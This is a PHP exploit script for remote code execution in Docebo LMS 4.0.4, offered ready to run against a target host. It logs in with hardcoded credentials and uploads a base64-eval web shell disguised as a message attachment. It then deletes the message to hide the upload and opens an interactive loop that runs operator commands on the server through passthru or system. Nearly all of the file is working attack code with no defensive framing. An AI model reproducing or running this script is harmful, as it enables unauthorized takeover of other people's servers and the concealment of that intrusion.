<?php
print_r("
----------------------------------------------------------
Docebo LMS v4.0.4 (messages) remote code execution exploit
by mr_me of rwx kru - net-ninja.net / rwx.biz.nf
----------------------------------------------------------
");
if ($argc < 3) {
print_r("
-----------------------------------------------------------------------------
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS
host: target server (ip/hostname)
path: directory path to wordpress
Options:
-p[ip:port]: specify a proxy
Example:
php ".$argv[0]." -t 192.168.1.5 -d /docebo/ -p 127.0.0.1:8080
php ".$argv[0]." -t 192.168.1.5 -d /docebo/
-----------------------------------------------------------------------------
"); die;
}
$user = "suntzu";
$pswd = "suntzu";
error_reporting(7);
ini_set("max_execution_time", 0);
ini_set("default_socket_timeout", 5);
$proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";
function setArgs($argv){
$_ARG = array();
foreach ($argv as $arg){
if (ereg("--([^=]+)=(.*)", $arg, $reg)){
$_ARG[$reg[1]] = $reg[2];
}elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)){
$_ARG[$reg[1]] = "true";
}else {
$_ARG["input"][] = $arg;
}
}
return $_ARG;
}
$myArgs = setArgs($argv);
$host = $myArgs["input"]["1"];
$path = $myArgs["input"]["2"];
if (strpos($host, ":") == true){
$hostAndPort = explode(":",$myArgs["input"][1]);
$host = $hostAndPort[0];
$port = (int)$hostAndPort[1];
}else{
$port = 80;
}
if(strcmp($myArgs["p"],"true") === 0){
$proxyAndPort = explode(":",$myArgs["input"][3]);
$proxy = $proxyAndPort[0];
$pport = $proxyAndPort[1];
echo "(+) Setting the proxy to ".$proxy.":".$pport."\r\n";
}else{
echo "(-) Warning, a proxy was not set\r\n";
}
function sendpacket($packet){
global $myArgs, $proxy, $host, $pport, $port, $html, $proxy_regex;
if (strcmp($myArgs["p"],"true") != 0) {
$ock = fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo "(-) No response from ".$host.":".$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo "(-) Not a valid proxy...\n"; die;
}
$ock=fsockopen($proxy,$pport);
if (!$ock) {
echo "(-) No response from proxy..."; die;
}
}
fputs($ock,$packet);
if ($proxy == "") {
$html = "";
while (!feof($ock)) {
$html .= fgets($ock);
}
}else {
$html = "";
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
$html .= fread($ock,1);
}
}
fclose($ock);
}
if (strcmp($myArgs["p"], "true") != 0) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}
function get_session($html){
if (!preg_match("/Set-Cookie: ([^;]*);/", $html, $session)){
die("\n[-] docebo_session not set!\n");
}
return $session[1];
}
function get_token($html){
if (!preg_match("/authentic_request\" value=\"([^\"]*)/", $html, $token)){
die("\n[-] authentic_request token not found!\n");
}
return $token[1];
}
function validate_login($html){
if (!preg_match("/Location: ([^\r\n]*)\r\n/", $html, $redirect)){
return 0;
}
$access_chk = explode("?",$redirect[1]);
if (strcmp($access_chk[1],"access_fail=1") === 0){
return 0;
}
return 1;
}
$packet = "GET ".$p."index.php HTTP/1.1\r\n";
$packet .= "host: ".$host."\r\n\r\n";
sendpacket($packet);
$session = get_session($html);
$token = get_token($html);
echo "(+) Grabbing session: ".$session."\n";
echo "(+) Grabbing login token: ".$token."\n";
$data = "authentic_request=".$token."&login_userid=".$user."&login_pwd=".$pswd."&log_button=Login";
$login_pkt = "POST ".$p."doceboLms/index.php?modname=login&op=confirm HTTP/1.1\r\n";
$login_pkt .= "Host: ".$host."\r\n";
$login_pkt .= "Cookie: ".$session."\r\n";
$login_pkt .= "Content-Type: application/x-www-form-urlencoded\r\n";
$login_pkt .= "Content-Length: ".strlen($data)."\r\n\r\n".$data;
sendpacket($login_pkt);
if (validate_login($html)){
echo "(+) Logged into the application..\n";
}else{
die("(-) Login failed!\n");
}
$session = get_session($html);
echo "(+) Grabbing Logged in session: ".$session."\n";
$packet = "GET ".$p."doceboLms/index.php?modname=message&op=addmessage&from=out HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Cookie: ".$session."\r\n\r\n";
sendpacket($packet);
$token = get_token($html);
echo "(+) Grabbing upload token: ".$token."\n";
$php_code = "<?php error_reporting(0); eval(base64_decode(\$_SERVER[HTTP_HAX])) ?>";
$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"authentic_request\"\r\n\r\n";
$payload .= $token."\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"out\"\r\n\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"msg_course_filter\"\r\n\r\n";
$payload .= "0\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"message[recipients]\"\r\n\r\n";
// send to a nonexistant userid
$payload .= urlencode("a:1:{i:0;s:5:\"0\";}")."\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"message[subject]\"\r\n\r\n";
$payload .= "suntzu\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"message[priority]\"\r\n\r\n";
$payload .= "1\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"message_textof\"\r\n\r\n";
$payload .= "suntzu\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"message[attach]\"; filename=\"suntzu.php\"\r\n\r\n";
$payload .= $php_code."\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"send\"\r\n\r\n";
$payload .= "Send\r\n";
$payload .= "--o0oOo0o\r\n";
$killpkt = "POST ".$p."doceboLms/index.php?modname=message&op=writemessage HTTP/1.1\r\n";
$killpkt .= "Host: ".$host."\r\n";
$killpkt .= "Cookie: ".$session."\r\n";
$killpkt .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$killpkt .= "Content-Length: ".strlen($payload)."\r\n";
$killpkt .= "Connection: close\r\n\r\n".$payload;
echo "(+) Creating malicious php message..\n";
sendpacket($killpkt);
// now to find the shell
echo "(+) Finding message id..\n";
$packet = "GET ".$p."doceboLms/index.php?modname=message&op=message&sop=unregistercourse HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Cookie: ".$session."\r\n\r\n";
sendpacket($packet);
if (!preg_match("/id_message=([^\"]*)/", $html, $message)){
die("\n[-] Unable to find sent message id!\n");
}else{
echo "(+) Found message id: ".$message[1]."\n";
}
echo "(+) Finding web shell..\n";
$packet = "GET ".$p."doceboLms/index.php?modname=message&op=readmessage&id_message=".$message[1]." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Cookie: ".$session."\r\n\r\n";
sendpacket($packet);
if (!preg_match("/alt=\"mime\" \/\>([^<]*)/", $html, $shell)){
die("\n[-] Unable to find web shell :/\n");
}else{
echo "(+) Found web shell: ".$shell[1]."\n";
}
$phpshell = $shell[1];
echo "(+) Deleting backdoored message.. \n";
$deletemessage = "doceboLms/index.php?modname=message&op=delmessage&id_message=".$message[1];
$deletemessage .= "&out=out&confirm=1";
$packet = "GET ".$p.$deletemessage." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Cookie: ".$session."\r\n\r\n";
sendpacket($packet);
if (preg_match("/Location: ([^\r\n]*)\r\n/", $html, $delete_test)){
if (preg_match("/result=([^\r\n]*)/", $delete_test[1],$ok_del)){
if (strcmp("$ok_del[1]","ok_del") === 0){
echo "(+) Sucessfully deleted the message\n";
}
}
}else{
echo("\n(-) Warning: unable to deleted the message :/\n");
}
echo "(+) Dropping to shell interaction..\n";
// change the php function if your target doesnt support it
$php_functions = array("passthru", "system");
$php_func = array_rand($php_functions, 2);
$php_func = $php_functions[$php_func[0]];
while ($cmd != "q"){
echo "\n".get_current_user()."@".$host."# ";
$cmd = trim(fgets(STDIN));
$c = base64_encode($php_func."("."\"".$cmd."\"".");");
$packet = "POST ".$p."files/doceboLms/message/".$phpshell." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Hax: ".$c."\r\n\r\n";
if ($cmd != "q"){
sendpacket($packet);
$html = explode("html",$html);
echo (trim($html[1]));
}
}
?>